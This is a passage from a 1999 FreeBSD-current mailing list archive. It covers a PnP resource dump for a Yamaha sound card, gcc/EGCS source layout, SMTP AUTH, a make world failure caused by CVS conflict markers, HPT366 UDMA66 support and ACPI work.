TAG Start DF
Good Configuration
    I/O Range 0x220 .. 0x220, alignment 0x10, len 0x10
	[16-bit addr]
    I/O Range 0x530 .. 0x530, alignment 0x8, len 0x8
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x4, len 0x4
	[16-bit addr]
    I/O Range 0x330 .. 0x330, alignment 0x2, len 0x2
	[16-bit addr]
    I/O Range 0x370 .. 0x370, alignment 0x2, len 0x2
	[16-bit addr]
    IRQ: 5 IRQ: High true edge sensitive
    DMA: channel(s) 0 
	8-bit, not a bus master, count by byte, , Type F
    DMA: channel(s) 1 
	8-bit, not a bus master, count by byte, , Type F
TAG Start DF
Acceptable Configuration
    I/O Range 0x240 .. 0x240, alignment 0x10, len 0x10
	[16-bit addr]
    I/O Range 0xe80 .. 0xe80, alignment 0x8, len 0x8
	[16-bit addr]
    I/O Range 0x388 .. 0x388, alignment 0x8, len 0x4
	[16-bit addr]
    I/O Range 0x300 .. 0x300, alignment 0x2, len 0x2
	[16-bit addr]
    I/O Range 0x100 .. 0xffe, alignment 0x2, len 0x2
	[16-bit addr]
    IRQ: 5 7 9 10 11 IRQ: High true edge sensitive
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Type F
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Type F
TAG Start DF
Sub-optimal Configuration
    I/O Range 0x220 .. 0x280, alignment 0x10, len 0x10
	[16-bit addr]
    I/O Range 0x530 .. 0xf48, alignment 0x8, len 0x8
	[16-bit addr]
    I/O Range 0x388 .. 0x3f8, alignment 0x8, len 0x4
	[16-bit addr]
    I/O Range 0x300 .. 0x334, alignment 0x2, len 0x2
	[16-bit addr]
    I/O Range 0x100 .. 0xffe, alignment 0x2, len 0x2
	[16-bit addr]
    IRQ: 3 5 7 9 10 11 IRQ: High true edge sensitive
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Type F
    DMA: channel(s) 0 1 3 
	8-bit, not a bus master, count by byte, , Type F
TAG End DF

Logical Device ID: YMH0022 0x2200a865 #1
	Vendor register funcs 00
Compatible Device ID: PNPb02f (2fb0d041)
TAG Start DF
Good Configuration
    I/O Range 0x201 .. 0x201, alignment 0x1, len 0x1
	[16-bit addr]
TAG Start DF
Sub-optimal Configuration
    I/O Range 0x201 .. 0x211, alignment 0x10, len 0x1
	[16-bit addr]
TAG End DF

Logical Device ID: YMH002f 0x2f00a865 #2
	Vendor register funcs 00
TAG Start DF
Good Configuration
    I/O Range 0x100 .. 0xff8, alignment 0x8, len 0x8
	[16-bit addr]
TAG End DF

Logical Device ID: YMH0024 0x2400a865 #3
	Vendor register funcs 00
Compatible Device ID: PNP0600 (0006d041)
TAG Start DF
Good Configuration
    IRQ: 11 IRQ: High true edge sensitive
    I/O Range 0x1e0 .. 0x1e0, alignment 0x8, len 0x8
	[16-bit addr]
    I/O Range 0x3e6 .. 0x3e6, alignment 0x1, len 0x1
	[16-bit addr]
TAG Start DF
Sub-optimal Configuration
    IRQ: 3 5 7 9 10 11 IRQ: High true edge sensitive
    I/O Range 0x100 .. 0x1f8, alignment 0x8, len 0x8
	[16-bit addr]
    I/O Range 0x306 .. 0x3f6, alignment 0x8, len 0x1
	[16-bit addr]
TAG End DF
End Tag

Successfully got 53 resources, 4 logical fdevs
-- card select # 0x0001

CSN YMH0020 (0x2000a865), Serial Number 0xffffffff

Logical device #0
IO:  0x0220 0x0220 0x0220 0x0220 0x0220 0x0220 0x0220 0x0220
IRQ 5 0
DMA 0 1
IO range check 0x00 activate 0x01

Logical device #1
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 0 0
IO range check 0x00 activate 0x01

Logical device #2
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 0 0
DMA 0 0
IO range check 0x00 activate 0x01

Logical device #3
IO:  0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
IRQ 11 0
DMA 0 0
IO range check 0x00 activate 0x01

On Mon, 27 Sep 1999, Peter Wemm wrote:

> 
> So I repeat for the list.. If you've got a card that used to work or does
> work under BIOS backwards compat preconfig with 'controller pnp0' disabled,
> please send us a dmesg and pnpinfo -v so we can add the ID's.  'controller
> pnp0' is quite likely to become non-optional soon so we can use the
> motherboard resource lists.
> 
> Cheers,
> -Peter
> 
> 

Regards,
Vladimir

===========================|=======================
 Vladimir Kushnir   	   |	
 kushn@mail.kar.net, 	   |	Powered by FreeBSD
 kushnir@ap3.bitp.kiev.ua  |



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 16:23: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alcanet.com.au (border.alcanet.com.au [203.62.196.10])
	by hub.freebsd.org (Postfix) with ESMTP id 7B10A15103
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 16:23:05 -0700 (PDT)
	(envelope-from jeremyp@gsmx07.alcatel.com.au)
Received: by border.alcanet.com.au id <40343>; Mon, 27 Sep 1999 09:20:09 +1000
Date: Mon, 27 Sep 1999 09:22:51 +1000
From: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Subject: EGCS, or EGCS?
To: current@FreeBSD.ORG
Message-Id: <99Sep27.092009est.40343@border.alcanet.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

The recent thread about the GCC optimiser prompted me to go and have a
look at gcc's behaviour.  This has left me somewhat confused.  I
appear to have two complete copies of gcc - one in src/contrib/gcc and
another in src/contrib/egcs/gcc.  Both of them have README files
stating that they are EGCS 1.1.2 - though there are substantial
differences between them.

Both src/contrib/gcc and src/contrib/egcs/gcc appear to be being
updated along the -current tree.

Looking at src/gnu/usr.bin/cc, it looks like src/contrib/egcs/gcc is
being built - and this is backed up by the output from my regular
buildworld's.

Can anyone explain this?

Peter


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 16:27:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from orthanc.ab.ca (orthanc.ab.ca [207.167.3.130])
	by hub.freebsd.org (Postfix) with ESMTP id AD5DB15099
	for <current@freebsd.org>; Sun, 26 Sep 1999 16:27:50 -0700 (PDT)
	(envelope-from lyndon@orthanc.ab.ca)
Received: from orthanc.ab.ca (localhost.orthanc.ab.ca [127.0.0.1])
	by orthanc.ab.ca (8.9.3/8.9.3) with ESMTP id RAA23917
	for <current@freebsd.org>; Sun, 26 Sep 1999 17:27:50 -0600 (MDT)
	(envelope-from lyndon@orthanc.ab.ca)
Message-Id: <199909262327.RAA23917@orthanc.ab.ca>
To: current@freebsd.org
Subject: SMTP AUTH (was Re: On hub.freebsd.org ...)
In-reply-to: Your message of "Sun, 26 Sep 1999 13:01:25 EDT."
             <63944.938365285@noop.colo.erols.net> 
Date: Sun, 26 Sep 1999 17:27:50 -0600
From: Lyndon Nerenberg <lyndon@orthanc.ab.ca>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

>>>>> "Gary" == Gary Palmer <gjp@in-addr.com> writes:

    Gary> There are two `standards' from SMTP Auth out there ... one
    Gary> by Netscape (which is that rfc), and one by M$.  To date,
    Gary> only Netscape 4.5 and higher (I believe), and products from
    Gary> Software.com (i.e. InterMail) support the netscape version
    Gary> (although I haven't looked in a few months, so I could be
    Gary> wrong).

There is one SMTP AUTH, and it's defined in RFC 2554.

Products I'm aware of that support SMTP AUTH (or will shortly) 
as defined in the RFC:

Servers: PMDF (Innosoft), MDstore (Messaging Direct), Sendmail 8.10,
	 Netscape

Clients: Execmail, Mulberry. I'm sure there are others.

The major use for SMTP AUTH will be in SUBMIT servers. The combination
of SUBMIT + SMTP AUTH will make it possible to disable relay on SMTP
servers without restricting mobile mail clients.

--lyndon




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 16:31:12 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id 819FA152A9
	for <freebsd-current@FreeBSD.ORG>; Sun, 26 Sep 1999 16:31:07 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id 9088D1CC1; Mon, 27 Sep 1999 07:31:06 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: Vladimir Kushnir <kushn@mail.kar.net>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-reply-to: Your message of "Mon, 27 Sep 1999 02:12:13 +0300."
             <Pine.BSF.4.10.9909270201560.3847-100000@kushnir.kiev.ua> 
Date: Mon, 27 Sep 1999 07:31:06 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990926233106.9088D1CC1@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Vladimir Kushnir wrote:
> Hello, here's an output for my Yamaha OPL-SA2 card (it used to work
> perfectly all right as css device & friends  under old Pnp & VoxWare, but
> now outputs very poor sound through /dev/dsp and no sound at all when
> playing audio CD, and of course no midi):
> 
> dmesg:
> pcm0: <Yamaha SA2> at port
> 0x220-0x22f,0x530-0x537,0x388-0x38b,0x330-0x331,0x370
> -0x371 irq 5 drq 0,1 on isa0
> unknown0: <OPL3-SA2 Sound Board> at port 0x201 on isa0
> unknown1: <OPL3-SA2 Sound Board> at port 0x100-0x107 on isa0
> unknown2: <OPL3-SA2 Sound Board> at port 0x1e0-0x1e7,0x3e6 irq 11 on isa0
> 
> pnpinfo -v (BTW, why the kernel message 
> mss_intr: irq, but not from mss                                        
> when running pnpinfo?):
> Checking for Plug-n-Play devices...
> 
> Card assigned CSN #1
> Vendor ID YMH0020 (0x2000a865), Serial Number 0xffffffff
> PnP Version 1.0, Vendor Version 0
> Device Description: OPL3-SA2 Sound Board
> 
> Logical Device ID: YMH0021 0x2100a865 #0

I have one of these cards BTW.  My recollection was that it ran
beautifully..  I did have a more than my fair share of trouble with the
sample converters earlier on though..  newpcm will generate 8-bit and 16 bit
samples on the fly to best fit the sound hardware.  For example, if you have
an 8-bit card and play 16 bit samples, it'll down convert.  (there was a
nasty bug there though for a while. :-) )

I didn't have a cable to connect it to a CD though.

Poor sound usually isn't a pnp issue though, it's more likely a pcm driver
problem.

Cheers,
-Peter
--
Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 16:34:47 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id 8AE4D15042
	for <current@FreeBSD.ORG>; Sun, 26 Sep 1999 16:34:43 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id 3238A1CC2; Mon, 27 Sep 1999 07:34:42 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: Peter Jeremy <jeremyp@gsmx07.alcatel.com.au>
Cc: current@FreeBSD.ORG
Subject: Re: EGCS, or EGCS? 
In-reply-to: Your message of "Mon, 27 Sep 1999 09:22:51 +1000."
             <99Sep27.092009est.40343@border.alcanet.com.au> 
Date: Mon, 27 Sep 1999 07:34:41 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990926233442.3238A1CC2@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Peter Jeremy wrote:
> The recent thread about the GCC optimiser prompted me to go and have a
> look at gcc's behaviour.  This has left me somewhat confused.  I
> appear to have two complete copies of gcc - one in src/contrib/gcc and
> another in src/contrib/egcs/gcc.  Both of them have README files
> stating that they are EGCS 1.1.2 - though there are substantial
> differences between them.
> 
> Both src/contrib/gcc and src/contrib/egcs/gcc appear to be being
> updated along the -current tree.
> 
> Looking at src/gnu/usr.bin/cc, it looks like src/contrib/egcs/gcc is
> being built - and this is backed up by the output from my regular
> buildworld's.
> 
> Can anyone explain this?

src/contrib/gcc is where gcc used to live.  Then along came egcs with a
cygnus-style tree that ended up in src/contrib/egcs (v1.1.1 and later
1.1.2).  Now, egcs has become gcc 2.95, so it's going back to src/contrib/
gcc again.  src/contrib/egcs will go away and the repo cleared out ala
"what src/contrib/egcs?" :-).  We can do this before we do a release from
the 4.x tree.   David O'Brien is working on this now but I think he's 
suffering from gcc-induced insanity. :-)

> Peter

Cheers,
-Peter



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 16:56:47 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.kar.net (mail.kar.net [195.178.131.134])
	by hub.freebsd.org (Postfix) with ESMTP id 2797D14EEB
	for <freebsd-current@FreeBSD.ORG>; Sun, 26 Sep 1999 16:56:42 -0700 (PDT)
	(envelope-from kushn@mail.kar.net)
Received: from 178.dialup.kar.net (178.dialup.kar.net [195.178.130.178])
	by mail.kar.net (8.9.3/8.9.3) with ESMTP id CAA12236;
	Mon, 27 Sep 1999 02:51:35 +0300 (EET DST)
Date: Mon, 27 Sep 1999 02:53:55 +0300 (EEST)
From: Vladimir Kushnir <kushn@mail.kar.net>
X-Sender: volodya@kushnir.kiev.ua
To: Peter Wemm <peter@netplex.com.au>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-Reply-To: <19990926233106.9088D1CC1@overcee.netplex.com.au>
Message-ID: <Pine.BSF.4.10.9909270249140.4273-100000@kushnir.kiev.ua>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Thanks for replay, but what I am to do? At least, where to start looking?
Card is revognized, so this indeed shouldn't be PnP fault.
Card's 16 bit, but so far the only acceptable sound give esd or mpg123.

On Mon, 27 Sep 1999, Peter Wemm wrote:

> Vladimir Kushnir wrote:
> > Hello, here's an output for my Yamaha OPL-SA2 card (it used to work
> > perfectly all right as css device & friends  under old Pnp & VoxWare, but
> > now outputs very poor sound through /dev/dsp and no sound at all when
> > playing audio CD, and of course no midi):
<snip>
> 
> I have one of these cards BTW.  My recollection was that it ran
> beautifully..  I did have a more than my fair share of trouble with the
> sample converters earlier on though..  newpcm will generate 8-bit and 16 bit
> samples on the fly to best fit the sound hardware.  For example, if you have
> an 8-bit card and play 16 bit samples, it'll down convert.  (there was a
> nasty bug there though for a while. :-) )
> 
> I didn't have a cable to connect it to a CD though.
> 
> Poor sound usually isn't a pnp issue though, it's more likely a pcm driver
> problem.
> 
> Cheers,
> -Peter
> --
> Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au
> 
Regards,
Vladimir

===========================|=======================
 Vladimir Kushnir   	   |	
 kushn@mail.kar.net, 	   |	Powered by FreeBSD
 kushnir@ap3.bitp.kiev.ua  |



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 17: 0:56 1999
Delivered-To: freebsd-current@freebsd.org
Received: from overcee.netplex.com.au (overcee.netplex.com.au [202.12.86.7])
	by hub.freebsd.org (Postfix) with ESMTP id 7F00614EEB
	for <freebsd-current@FreeBSD.ORG>; Sun, 26 Sep 1999 17:00:49 -0700 (PDT)
	(envelope-from peter@netplex.com.au)
Received: from netplex.com.au (localhost [127.0.0.1])
	by overcee.netplex.com.au (Postfix) with ESMTP
	id 368821CC1; Mon, 27 Sep 1999 08:00:48 +0800 (WST)
	(envelope-from peter@netplex.com.au)
X-Mailer: exmh version 2.0.2 2/24/98
To: Vladimir Kushnir <kushn@mail.kar.net>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: New PnP code does not work for me(?) 
In-reply-to: Your message of "Mon, 27 Sep 1999 02:53:55 +0300."
             <Pine.BSF.4.10.9909270249140.4273-100000@kushnir.kiev.ua> 
Date: Mon, 27 Sep 1999 08:00:48 +0800
From: Peter Wemm <peter@netplex.com.au>
Message-Id: <19990927000048.368821CC1@overcee.netplex.com.au>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Vladimir Kushnir wrote:
> Thanks for replay, but what I am to do? At least, where to start looking?
> Card is revognized, so this indeed shouldn't be PnP fault.
> Card's 16 bit, but so far the only acceptable sound give esd or mpg123.

The person to talk to is Cameron Grant <cg@freebsd.org> for actual driver
problems.  Beware though, he's in the middle of a house move right at this
second.

It sounds like there's a problem with 8->16 bit sound conversion of mpg123
works but .au files don't.  I know Cameron's got a few tweaks/fixes in the
pipeline there somewhere.

> On Mon, 27 Sep 1999, Peter Wemm wrote:
> 
> > Vladimir Kushnir wrote:
> > > Hello, here's an output for my Yamaha OPL-SA2 card (it used to work
> > > perfectly all right as css device & friends  under old Pnp & VoxWare, but
> > > now outputs very poor sound through /dev/dsp and no sound at all when
> > > playing audio CD, and of course no midi):
> <snip>
> > 
> > I have one of these cards BTW.  My recollection was that it ran
> > beautifully..  I did have a more than my fair share of trouble with the
> > sample converters earlier on though..  newpcm will generate 8-bit and 16 bi
    t
> > samples on the fly to best fit the sound hardware.  For example, if you hav
    e
> > an 8-bit card and play 16 bit samples, it'll down convert.  (there was a
> > nasty bug there though for a while. :-) )
> > 
> > I didn't have a cable to connect it to a CD though.
> > 
> > Poor sound usually isn't a pnp issue though, it's more likely a pcm driver
> > problem.
> > 
> > Cheers,
> > -Peter
> > --
> > Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au
> > 
> Regards,
> Vladimir
> 
> ===========================|=======================
>  Vladimir Kushnir   	   |	
>  kushn@mail.kar.net, 	   |	Powered by FreeBSD
>  kushnir@ap3.bitp.kiev.ua  |
> 
> 
> 

Cheers,
-Peter
--
Peter Wemm - peter@FreeBSD.org; peter@yahoo-inc.com; peter@netplex.com.au



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 17:15:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 4787614BC3
	for <FreeBSD-current@FreeBSD.ORG>; Sun, 26 Sep 1999 17:15:19 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id JAA69155;
	Mon, 27 Sep 1999 09:44:57 +0930 (CST)
Date: Mon, 27 Sep 1999 09:44:57 +0930
From: Greg Lehey <grog@lemis.com>
To: Sheldon Hearn <sheldonh@uunet.co.za>
Cc: FreeBSD current users <FreeBSD-current@FreeBSD.ORG>
Subject: Re: make world, attempt 5
Message-ID: <19990927094456.R46202@freebie.lemis.com>
References: <19990926090049.B46202@freebie.lemis.com> <41497.938372477@axl.noc.iafrica.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <41497.938372477@axl.noc.iafrica.com>; from Sheldon Hearn on Sun, Sep 26, 1999 at 09:01:17PM +0200
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sunday, 26 September 1999 at 21:01:17 +0200, Sheldon Hearn wrote:
>
>
> On Sun, 26 Sep 1999 09:00:50 +0930, Greg Lehey wrote:
>
>> I've been trying for the last 24 hours solid to make a new world.  The
>> latest problem is:
>
> :-(
>
>> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:245:
>> syntax error before `<'
>
> Hi Greg,
>
> I was the last person to touch that file, but I honestly can't see why
> you're having a problem with it.
>
> Are you sure that you have hosts_access.c rev 1.2 ?

I have now.  That's what comes of not reading my cvs logs.  I had a
different version of this file that I had been playing around with,
and your commit (of effectively the same thing) spammed it.

Sorry for the confusion.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 17:16:43 1999
Delivered-To: freebsd-current@freebsd.org
Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137])
	by hub.freebsd.org (Postfix) with ESMTP id 7FA1D153B7
	for <FreeBSD-current@FreeBSD.ORG>; Sun, 26 Sep 1999 17:16:36 -0700 (PDT)
	(envelope-from grog@freebie.lemis.com)
Received: (from grog@localhost)
	by freebie.lemis.com (8.9.3/8.9.0) id JAA71413;
	Mon, 27 Sep 1999 09:46:22 +0930 (CST)
Date: Mon, 27 Sep 1999 09:46:22 +0930
From: Greg Lehey <grog@lemis.com>
To: "D. Rock" <rock@dead-end.net>
Cc: FreeBSD current users <FreeBSD-current@FreeBSD.ORG>
Subject: Re: make world, attempt 5
Message-ID: <19990927094622.S46202@freebie.lemis.com>
References: <19990926090049.B46202@freebie.lemis.com> <37EE79C6.1F058A1E@dead-end.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.4i
In-Reply-To: <37EE79C6.1F058A1E@dead-end.net>; from D. Rock on Sun, Sep 26, 1999 at 09:53:42PM +0200
WWW-Home-Page: http://www.lemis.com/~grog
X-PGP-Fingerprint: 6B 7B C3 8C 61 CD 54 AF  13 24 52 F8 6D A4 95 EF
Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia
Phone: +61-8-8388-8286
Fax: +61-8-8388-8725
Mobile: +61-41-739-7062
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sunday, 26 September 1999 at 21:53:42 +0200, D. Rock wrote:
> Greg Lehey schrieb:
>>
>> I've been trying for the last 24 hours solid to make a new world.  The
>> latest problem is:
>>
>> ===> libwrap
>> cc -nostdinc -O -pipe -DFACILITY=LOG_AUTH -DHOSTS_ACCESS -DNETGROUP -DDAEMON_UMASK=022  -DREAL_DAEMON_DIR=\"/usr/libexec\" -DPROCESS_OPTIONS  -DSEVERITY=LOG_INFO -DRFC931_TIMEOUT=10  -DHOSTS_DENY=\"/etc/hosts.deny\" -DHOSTS_ALLOW=\"/etc/hosts.allow\"  -DSYS_ERRLIST_DEFINED -DALWAYS_HOSTNAME -I/usr/obj/src/PANIC/src/tmp/usr/include -c /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c -o hosts_access.o
>> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:245: syntax error before `<'
>> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:84: warning: `host_match' declared `static' but never defined
>> /src/PANIC/src/lib/libwrap/../../contrib/tcp_wrappers/hosts_access.c:85: warning: `string_match' declared `static' but never defined
> I know these errors.
>
> Mostly they are caused by local modifications of the source. If you then
> "cvs update"
> your tree, and there is a conflict, the offending lines are surrounded
> by
> <<<
> Your Code
> ===
> New Code
>>>>

That's the one.  I normally recognize those, but this time I must have
had tomatoes on my eyes.

Greg
--
See complete headers for address, home page and phone numbers
finger grog@lemis.com for PGP public key


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 17:36:25 1999
Delivered-To: freebsd-current@freebsd.org
Received: by hub.freebsd.org (Postfix, from userid 608)
	id 8A530156E5; Sun, 26 Sep 1999 17:36:13 -0700 (PDT)
From: "Jonathan M. Bresler" <jmb@hub.freebsd.org>
To: Kurt@OpenLDAP.Org
Cc: current@FreeBSD.ORG
In-reply-to: <3.0.5.32.19990924144331.00974220@localhost> (Kurt@OpenLDAP.Org)
Subject: Re: On hub.freebsd.org refusing to talk to dialups
Message-Id: <19990927003613.8A530156E5@hub.freebsd.org>
Date: Sun, 26 Sep 1999 17:36:13 -0700 (PDT)
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


stopping chat on the tech lists is an open research project ;)

jmb


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 17:50: 2 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.singtel-yp.com (mail.singtel-yp.com [165.21.60.44])
	by hub.freebsd.org (Postfix) with SMTP id 7473E14BB7
	for <current@freebsd.org>; Sun, 26 Sep 1999 17:49:59 -0700 (PDT)
	(envelope-from ktsin@mail.singtel-yp.com)
Received: (qmail 32422 invoked by uid 1001); 27 Sep 1999 08:49:59 +0800
Message-ID: <19990927004959.32421.qmail@mail.singtel-yp.com>
From: ktsin@mail.singtel-yp.com
Subject: New ATA, HPT366 and UDMA66
To: current@freebsd.org
Date: Mon, 27 Sep 1999 08:49:59 +0800 (SGT)
X-Mailer: ELM [version 2.5 PL0pre8]
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Hi

I'm unable to get the new ATA driver to configure the HPT366 controller
to use busmastering DMA and to make the IBM 22GXP drive run at UDMA66.

Linux HPT366 driver supports busmastering DMA and UDMA66.

Does anybody know how to fix this?

Below is a portion of the output from dmesg:

ata-pci1: <HighPoint HPT366 IDE controller> irq 18 at device 19.0 on pci0
ata-pci1: Busmastering DMA not supported
                       ^^^^^^^^^^^^^^^^^
ata2 at 0xd800 irq 18 on ata-pci1
ata-pci2: <HighPoint HPT366 IDE controller> irq 18 at device 19.1 on pci0
ata-pci2: Busmastering DMA not supported
                       ^^^^^^^^^^^^^^^^^
atkbdc0: <keyboard controller (i8042)> at port 0x60-0x6f on isa0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
psm0: model Generic PS/2 mouse, device ID 0
vga0: <Generic ISA VGA> at port 0x3b0-0x3df iomem 0xa0000-0xbffff on isa0
sc0: <System console> on isa0
sc0: VGA <16 virtual consoles, flags=0x200>
sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
sio0: type 16550A
sio1 at port 0x2f8-0x2ff irq 3 on isa0
sio1: type 16550A
unknown0: <CTRL> on isa0
pcm0: <CS4235> at port 0x534-0x537,0x388-0x38b,0x220-0x22f irq 7 drq 1,0 on isa0
unknown1: <GAME> at port 0x200-0x207 on isa0
unknown2: <MPU> at port 0x330-0x331 irq 10 on isa0
ad0: <Maxtor 86448D6/NAVXAF20> ATA-3 disk at ata0 as master
ad0: 6149MB (12594960 sectors), 13328 cyls, 15 heads, 63 S/T, 512 B/S
ad0: 16 secs/int, 0 depth queue, UDMA33
Creating DISK ad0
Creating DISK wd0
ad1: <IBM-DJNA-371350/J76OA30K> ATA-4 disk at ata2 as master
ad1: 12949MB (26520480 sectors), 26310 cyls, 16 heads, 63 S/T, 512 B/S
ad1: 16 secs/int, 31 depth queue, PIO
                                  ^^^
Creating DISK ad1
Creating DISK wd1


Thanks,
kt


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sun Sep 26 17:51:42 1999
Delivered-To: freebsd-current@freebsd.org
Received: from shidahara1.planet.sci.kobe-u.ac.jp (shidahara1.planet.sci.kobe-u.ac.jp [133.30.50.200])
	by hub.freebsd.org (Postfix) with ESMTP id E0FA714BB7
	for <current@FreeBSD.org>; Sun, 26 Sep 1999 17:51:36 -0700 (PDT)
	(envelope-from takawata@shidahara1.planet.sci.kobe-u.ac.jp)
Received: from shidahara1.planet.sci.kobe-u.ac.jp (localhost [127.0.0.1])
	by shidahara1.planet.sci.kobe-u.ac.jp (8.8.8+2.7Wbeta7/8.8.8) with ESMTP id JAA03282;
	Mon, 27 Sep 1999 09:51:15 +0900 (JST)
Message-Id: <199909270051.JAA03282@shidahara1.planet.sci.kobe-u.ac.jp>
To: Mike Smith <mike@smith.net.au>
Cc: current@FreeBSD.org
Subject: Re: Experimental ACPI driver. 
In-reply-to: Your message of "Sun, 26 Sep 1999 12:06:55 MST"
References: <199909261906.MAA13438@dingo.cdrom.com> 
Date: Mon, 27 Sep 1999 09:51:15 +0900
From: Takanori Watanabe <takawata@shidahara1.planet.sci.kobe-u.ac.jp>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

In message <199909261906.MAA13438@dingo.cdrom.com>, Mike Smith wrote:
>Both Doug Rabson and myself have been tinkering with this, and there's 
>someone that's been looking at an AML parser/interpreter in the last 
>couple of weeks.  At this point in time, the parser and object manager 
>are the most vital components.

Yes.I think so too.

Takanori Watanabe
<a href="http://www.planet.sci.kobe-u.ac.jp/~takawata/key.html">
Public Key</a>
